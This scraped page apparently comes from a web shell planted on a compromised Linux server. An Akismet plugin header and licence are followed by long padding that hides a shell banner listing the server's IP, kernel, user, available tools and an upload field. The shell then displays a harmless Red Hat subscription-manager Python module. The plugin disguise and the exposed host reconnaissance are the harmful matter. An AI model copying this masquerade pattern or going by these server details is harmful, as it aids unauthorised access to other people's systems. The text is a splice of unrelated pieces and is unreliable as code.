#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
| Server IP : 62.109.13.187 / Your IP : 216.73.216.11 [ Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28 System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : mosrembit ( 6064) PHP Version : 8.2.28 Disable Function : NONE Domains : 0 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /lib64/python2.7/site-packages/rhsmlib/facts/ |
Upload File : |
from __future__ import print_function, division, absolute_import
# Copyright (c) 2016 Red Hat, Inc.
#
# This software is licensed to you under the GNU General Public License,
# version 2 (GPLv2). There is NO WARRANTY for this software, express or
# implied, including the implied warranties of MERCHANTABILITY or FITNESS
# FOR A PARTICULAR PURPOSE. You should have received a copy of GPLv2
# along with this software; if not, see
# http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt.
#
# Red Hat trademarks are not licensed under GPLv2. No permission is
# granted to use or replicate Red Hat trademarks that are incorporated
# in this software or its documentation.
#
import os
import glob
import logging
import rhsm.config
from rhsm import ourjson
from rhsmlib.facts.collector import FactsCollector
log = logging.getLogger(__name__)
class CustomFacts(object):
def __init__(self, data=None):
self.data = data
@classmethod
def from_json(cls, json_blob):
custom_facts = cls
# Default to no facts collected
# See BZ#1435771
data = {}
try:
data = ourjson.loads(json_blob)
except ValueError:
log.warn("Unable to load custom facts file.")
custom_facts.data = data
return custom_facts
def __iter__(self):
return iter(list(self.data.items()))
class CustomFactsFileError(Exception):
pass
class CustomFactsFile(object):
def __init__(self, path=None):
self.path = path
self.buf = None
def _open_and_read(self):
try:
with open(self.path, 'r') as fd:
return fd.read()
except IOError:
log.warn("Unable to open custom facts file: %s" % self.path)
raise
def read(self):
custom_facts_data = self._open_and_read()
return custom_facts_data
def close(self):
pass
class CustomFactsDirectory(object):
def __init__(self, path=None, glob_pattern=None):
self.path = path
self.glob_pattern = glob_pattern
def fact_file_path_iterator(self):
facts_file_glob = os.path.join(self.path, self.glob_pattern)
return glob.iglob(facts_file_glob)
def fact_file_iterator(self, fact_file_path_iterator):
for fact_file_path in fact_file_path_iterator:
log.debug("Loading custom facts from: %s" % fact_file_path)
yield CustomFactsFile(fact_file_path)
def __iter__(self):
for fact_file in self.fact_file_iterator(self.fact_file_path_iterator()):
yield CustomFacts.from_json(fact_file.read())
class CustomFactsDirectories(object):
def __init__(self, path_and_globs):
self.path_and_globs = path_and_globs
def __iter__(self):
for path, glob_pattern in self.path_and_globs:
yield CustomFactsDirectory(path, glob_pattern)
class CustomFactsCollector(FactsCollector):
def __init__(self, prefix=None, testing=None, collected_hw_info=None,
path_and_globs=None):
super(CustomFactsCollector, self).__init__(
prefix=prefix,
testing=testing,
collected_hw_info=collected_hw_info
)
self.path_and_globs = path_and_globs
if path_and_globs is None:
self.path_and_globs = [
(os.path.join(rhsm.config.DEFAULT_CONFIG_DIR, 'facts'), '*.facts')
]
self.facts_directories = CustomFactsDirectories(self.path_and_globs)
def get_all(self):
facts_dict = {}
for facts_dir in self.facts_directories:
for custom_facts in facts_dir:
facts_dict.update(custom_facts.data)
return facts_dict